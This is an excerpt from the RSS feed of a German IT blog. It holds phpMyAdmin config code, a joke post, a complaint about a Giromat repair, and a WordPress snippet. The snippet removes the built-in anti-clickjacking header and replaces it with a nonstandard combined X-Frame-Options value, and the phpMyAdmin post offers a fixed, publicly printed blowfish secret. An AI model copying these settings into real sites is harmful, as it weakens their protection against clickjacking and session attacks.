include(&#39;/var/lib/phpmyadmin/blowfish_secret.inc.php&#39;);</p>
<p>// Load autoconf local config<br />
include(&#39;/var/lib/phpmyadmin/config.inc.php&#39;);</p>
<p>// Load user&#8217;s local config<br />
include(&#39;/etc/phpmyadmin/config.inc.php&#39;);</p>
<p>// Set the default server if there is no defined<br />
if (!isset($cfg[&#39;Servers&#39;])) {<br />
    $cfg[&#39;Servers&#39;][1][&#39;host&#39;] = &#39;localhost&#39;;<br />
}</p>
<p>// Set the default values for $cfg[&#39;Servers&#39;] entries<br />
for ($i=1; (!empty($cfg[&#39;Servers&#39;][$i][&#39;host&#39;]) || (isset($cfg[&#39;Servers&#39;][$i][&#39;connect_type&#39;]) &#038;&#038; $cfg[&#39;Servers&#39;][$i][&#39;connect_type&#39;] == &#39;socket&#39;)); $i++) {<br />
    if (!isset($cfg[&#39;Servers&#39;][$i][&#39;auth_type&#39;])) {<br />
        $cfg[&#39;Servers&#39;][$i][&#39;auth_type&#39;] = &#39;cookie&#39;;<br />
    }<br />
    if (!isset($cfg[&#39;Servers&#39;][$i][&#39;host&#39;])) {<br />
        $cfg[&#39;Servers&#39;][$i][&#39;host&#39;] = &#39;localhost&#39;;<br />
    }<br />
    if (!isset($cfg[&#39;Servers&#39;][$i][&#39;connect_type&#39;])) {<br />
        $cfg[&#39;Servers&#39;][$i][&#39;connect_type&#39;] = &#39;tcp&#39;;<br />
    }<br />
    if (!isset($cfg[&#39;Servers&#39;][$i][&#39;compress&#39;])) {<br />
        $cfg[&#39;Servers&#39;][$i][&#39;compress&#39;] = false;<br />
    }<br />
    if (!isset($cfg[&#39;Servers&#39;][$i][&#39;extension&#39;])) {<br />
        $cfg[&#39;Servers&#39;][$i][&#39;extension&#39;] = &#39;mysql&#39;;<br />
    }<br />
}</p>
<p>$cfg['DefaultLang'] = &#39;de&#39;;<br />
$cfg['SuhosinDisableWarning'] = true;<br />
?&gt;</p></blockquote>
<p>
			</div>
		</fieldset>
<fieldset class="spoiler">
			<legend>
				<input type="button" onclick="tiny_spoiler('Non-DebianInstallationenzxhqwkodog')" id="Non-DebianInstallationenzxhqwkodog_button" value="+" />
				Non-Debian Installationen
			</legend>
			<div id="Non-DebianInstallationenzxhqwkodog"><br />
Dazu fügt man einfach die Zeile in die config.inc.php von PhpMyAdmin:</p>
<blockquote><p>$cfg['blowfish_secret'] = &#39;ce83c147ffca43414228ffdf23e121d5&#39;;</p></blockquote>
<p>
			</div>
		</fieldset>
<p>Wer mit dem Debian Packet gearbeitet hat (z.B. nach Confixx Anleitung), sollte dieses Mal manuell Updaten!</p>
<p>Immer daran denken die Programme zu updaten, denn dies ist sehr Wichtig!</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/Y9bLDQHx7tA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2011/12/phpmyadmin-3-4-9-sicherheitsupdate/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2011/12/phpmyadmin-3-4-9-sicherheitsupdate/</feedburner:origLink></item>
		<item>
		<title>An update is available</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/uLSMeVbQIhA/</link>
		<comments>http://www.murawski.ch/2011/12/an-update-is-available/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 10:22:35 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Lustiges]]></category>
		<category><![CDATA[Witz]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4770</guid>
		<description><![CDATA[&#160; Der ist so genial, das ich ihn online stellen musste. Quelle PC Tipp &#169;2011 SMu - IT Blögg]]></description>
			<content:encoded><![CDATA[&nbsp;<p><a href="http://blog.murawski.ch/wp-content/uploads/2011/12/update_avaialble.png" rel="lightbox[4770]"><img class="alignnone size-full wp-image-4771" title="update_avaialble" src="http://blog.murawski.ch/wp-content/uploads/2011/12/update_avaialble.png" alt="" width="395" height="217" /></a></p>
<p>Der ist so genial, das ich ihn online stellen musste.<br />
Quelle <a rel="external nofollow" href="https://www.facebook.com/photo.php?fbid=10151080850640195&amp;set=a.10150448541635195.644651.151725540194&amp;type=1&amp;theater" target="_blank">PC Tipp</a></p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/uLSMeVbQIhA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2011/12/an-update-is-available/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2011/12/an-update-is-available/</feedburner:origLink></item>
		<item>
		<title>Abzocke bei defektem Giromat (Crealogix)</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/yoLB6bclIvw/</link>
		<comments>http://www.murawski.ch/2011/11/giromat-defekt-oder-abzocke-bei-crealogix/#comments</comments>
		<pubDate>Thu, 24 Nov 2011 17:28:12 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Sonstiges]]></category>
		<category><![CDATA[Abzocke]]></category>
		<category><![CDATA[Crealogix]]></category>
		<category><![CDATA[Giromat]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4751</guid>
		<description><![CDATA[&#160;Vor einer Weile habe ich ein Giromat ersteigert, welcher auch recht lange gut funktioniert hatte. Plötzlich jedoch meldete dieser immer wieder Papierstau und konnte so nur mühsam verwendet werden. Denn legte man eine Quittung ein und drückte die Fehlermeldung weg, zog er wieder eine Einzahlungsschein durch und erfasste die Nummer, meldete danach aber wieder Papierstau. [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p><img src="http://blog.murawski.ch/wp-content/uploads/2011/11/giromat.png" alt="" title="giromat" width="193" height="226" class="alignright size-full wp-image-4757" />Vor einer Weile habe ich ein Giromat ersteigert, welcher auch recht lange gut funktioniert hatte.<br />
Plötzlich jedoch meldete dieser immer wieder Papierstau und konnte so nur mühsam verwendet werden.</p>
<p>Denn legte man eine Quittung ein und drückte die Fehlermeldung weg, zog er wieder eine Einzahlungsschein durch und erfasste die Nummer, meldete danach aber wieder Papierstau.</p>
<p>Da ich gelernter Elektroniker bin und mich mit Strom auskenne, habe ich das Problem recht schnell eruiert und auch auf den einen Lichtsensor zurückverfolgt.<br />
Sobald ich eine externe Lichtquelle an den Sensor hielt, war kein Papierstau mehr da und Alles funktionierte normal.</p>
<p><a href="http://blog.murawski.ch/wp-content/uploads/2011/11/giromat-lichtschranke.png" rel="lightbox[4751]"><img src="http://blog.murawski.ch/wp-content/uploads/2011/11/giromat-lichtschranke-150x150.png" alt="" title="giromat lichtschranke" width="150" height="150" class="alignleft size-thumbnail wp-image-4754" /></a>Da ich keine UV-Lichtquelle zur Hand hatte, habe ich den Giromat 130 zur Reparatur an den Hersteller Crealogix eingeschickt mit folgendem Hinweis:</p>
<blockquote><p>Beim Giromat fehlt der vordere Einzug, weiterhin ist die erste Lichtschranke defekt und versucht daher immer Papier einzuziehen (meint irgendwas ist zwischen der Schranke) und meldet Stau.</p>
<p>Können sie mir gerne einen Kostenvoranschlag auf xxx unterbreiten?</p></blockquote>
<p>Ich habe dann auch relativ bald eine Rückantwort erhalten:<br />
<span id="more-4751"></span><br />
<blockquote>Wir haben Ihren Giromat erhalten und geprüft.</p>
<p>Leider müssen wir Ihnen mitteilen, dass das Gerät einen grösseren Defekt aufweist. Der Lesekopf ist defekt und lässt sich nicht mehr kalibrieren. Der Papierstau wegen der defekten Lichtschranke ist zurückzuführen auf einen Wackelkontakt im Mainboard.</p>
<p>Da eine Reparatur teuer wäre, würden wir Ihnen vorab vorschlagen, auf ein neues Gerät zu wechseln. Dieses würden wir Ihnen für CHF 1298.- anstatt CHF 1498.- anbieten im Falle, dass Sie sich für das Gerät CLX.G130 entscheiden würden. Bei einem Wechsel auf das Gerät CLX.G75+ offerieren wir Ihnen CHF 898.- anstatt CHF 998.- (bei diesem Gerät bitte Kreditorensoftware angeben).</p>
<p>Wenn Sie dies wünschen, können wir Ihnen die konkreten Reparaturkosten auflisten, wenn Sie dies mit dem Austauschpreis vergleichen möchten.</p></blockquote>
<p>Ich wollte das Gerät unrepariert zurück, was auch geschah. Ein kurzer Test, jawohl das Problem war immer noch vorhanden.</p>
<p><a href="http://blog.murawski.ch/wp-content/uploads/2011/11/giromat-funktionsweise.png" rel="lightbox[4751]"><img src="http://blog.murawski.ch/wp-content/uploads/2011/11/giromat-funktionsweise-150x150.png" alt="" title="giromat funktionsweise" width="150" height="150" class="alignright size-thumbnail wp-image-4753" /></a>Ich habe das Gerät nochmals aufgemacht und gesehen das der Mitarbeiter scheinbar alle Lötstellen der Lichtschranken nachgelötet habt, dennoch war der Wackelkontakt scheinbar noch vorhanden von welchem gesprochen wurde.<br />
Da die Schranke mit einer externen Lichtquelle funktionierte, meinte ich, dass die UV-Lichtquelle defekt ist. Dies war aber nicht der Fall, wie ich feststellte. Über dem Sender und Empfänger ist ein Plastikgehäuse welches das Licht umleitet (siehe Bild Rechts) welcher ich zuerst abmontierte und darunter entdeckt das der Sender und Empänger leicht schräge montiert waren. Diese habe ich gerade gebogen und die Plastikhülle (Lichtleiter) wieder montiert. Das war es dann auch und unterdessen funktioniert das Gerät wieder und erkennt alle möglichen Einzahlungsscheine.</p>
<p>Wenn ein unjustierter Lesekopf dennoch alle Einzahlungsscheine liest dann frage ich mich wozu die Justierung ist. Ich denke man möchte dem Kunden das Gerät als &#8220;unreparierbar&#8221; hinstellen und ihn so abzocken.<br />
An einem Neugerät verdient man wesentlich mehr als an einer Reparatur.</p>
<p>Ich sage, Abzocke und eine Frechheit!</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/yoLB6bclIvw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2011/11/giromat-defekt-oder-abzocke-bei-crealogix/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2011/11/giromat-defekt-oder-abzocke-bei-crealogix/</feedburner:origLink></item>
		<item>
		<title>WordPress in iFrame laden</title>
		<link>http://feedproxy.google.com/~r/ItBloegg/~3/2jozJRHN0V8/</link>
		<comments>http://www.murawski.ch/2011/11/wordpress-in-iframe-laden/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 14:35:34 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://blog.murawski.ch/?p=4743</guid>
		<description><![CDATA[&#160;WordPress hat bei der Version 3.1 ein Clickjacking Schutz per X-Frame-Options Header eingeführt. Dies hat zur Folge, dass WordPress nicht mehr in iFrames geladen werden kann. Da ich ein Updateskript geschrieben habe, was vollautomatisch alle WordPress Installationen per iFrames update, habe ich seither ein Problem. Zuerst habe ich den Filter von WordPress mit folgendem Plugincode [...]]]></description>
			<content:encoded><![CDATA[&nbsp;<p>WordPress hat bei der Version 3.1 ein Clickjacking Schutz per X-Frame-Options Header eingeführt.</p>
<p>Dies hat zur Folge, dass WordPress nicht mehr in iFrames geladen werden kann.</p>
<p>Da ich ein Updateskript geschrieben habe, was vollautomatisch alle WordPress Installationen per iFrames update, habe ich seither ein Problem.</p>
<p>Zuerst habe ich den Filter von WordPress mit folgendem Plugincode entfernt:</p>
<pre class="brush: php; title: ; notranslate">remove_action( 'login_init', 'send_frame_options_header');
remove_action( 'admin_init', 'send_frame_options_header');</pre>
<p>Als Nächstes habe ich meine eigene Funktion hinzugefügt:</p>
<pre class="brush: php; title: ; notranslate">function wuk_send_frame_options_header() {
	@header( 'X-Frame-Options: SAMEORIGIN, ALLOW-FROM http://wuk.ch' );
}
add_action( 'login_init', 'wuk_send_frame_options_header', 10, 0 );
add_action( 'admin_init', 'wuk_send_frame_options_header', 10, 0 );</pre>
<p>Und schon wird der HTTP Header so modifiziert das iFrames von der angegebenen Webseite erlaubt sind, aber dennoch alle anderen Domains weiterhin verboten sind.</p>
&copy;2011 SMu - <a href=\"http://blog.murawski.ch/\">IT Blögg</a><img src=\"http://stats.murawski.ch/piwik.php?idsite=1&rec=1\" alt=\"\" /><img src="http://feeds.feedburner.com/~r/ItBloegg/~4/2jozJRHN0V8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.murawski.ch/2011/11/wordpress-in-iframe-laden/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.murawski.ch/2011/11/wordpress-in-iframe-laden/</feedburner:origLink></item>
	</channel>
</rss><!-- Performance optimized by web updates kmu. Contact us: http://wuk.ch

Minified using memcached (Feed is rejected)
Page Caching using memcached
Database Caching 21/73 queries in 0.021 seconds using memcached
Object Caching 1307/1421 objects using memcached
Content Delivery Network via bimg2.murawski.ch

Served from: blog.murawski.ch @ 2012-05-24 10:47:01 -->

